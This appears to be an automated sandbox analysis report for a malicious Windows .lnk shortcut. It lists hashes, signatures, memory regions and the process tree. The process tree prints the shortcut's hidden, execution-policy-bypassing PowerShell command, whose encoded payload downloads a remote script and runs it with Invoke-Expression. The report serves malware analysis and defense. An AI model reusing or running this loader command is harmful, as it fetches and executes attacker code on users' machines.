Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-04-2024 11:41

General

  • Target

    DOC5723 - 57235723.lnk

  • Size

    10KB

  • MD5

    dec2ee189e7b882fd5059db29646d4c2

  • SHA1

    d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f

  • SHA256

    eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

  • SHA512

    e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e

  • SSDEEP

    192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2652

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2652-38-0x000000001B710000-0x000000001B9F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2652-39-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-41-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2652-40-0x0000000001D70000-0x0000000001D78000-memory.dmp

    Filesize

    32KB

  • memory/2652-42-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2652-43-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2652-44-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2652-45-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2652-46-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

    Filesize

    9.6MB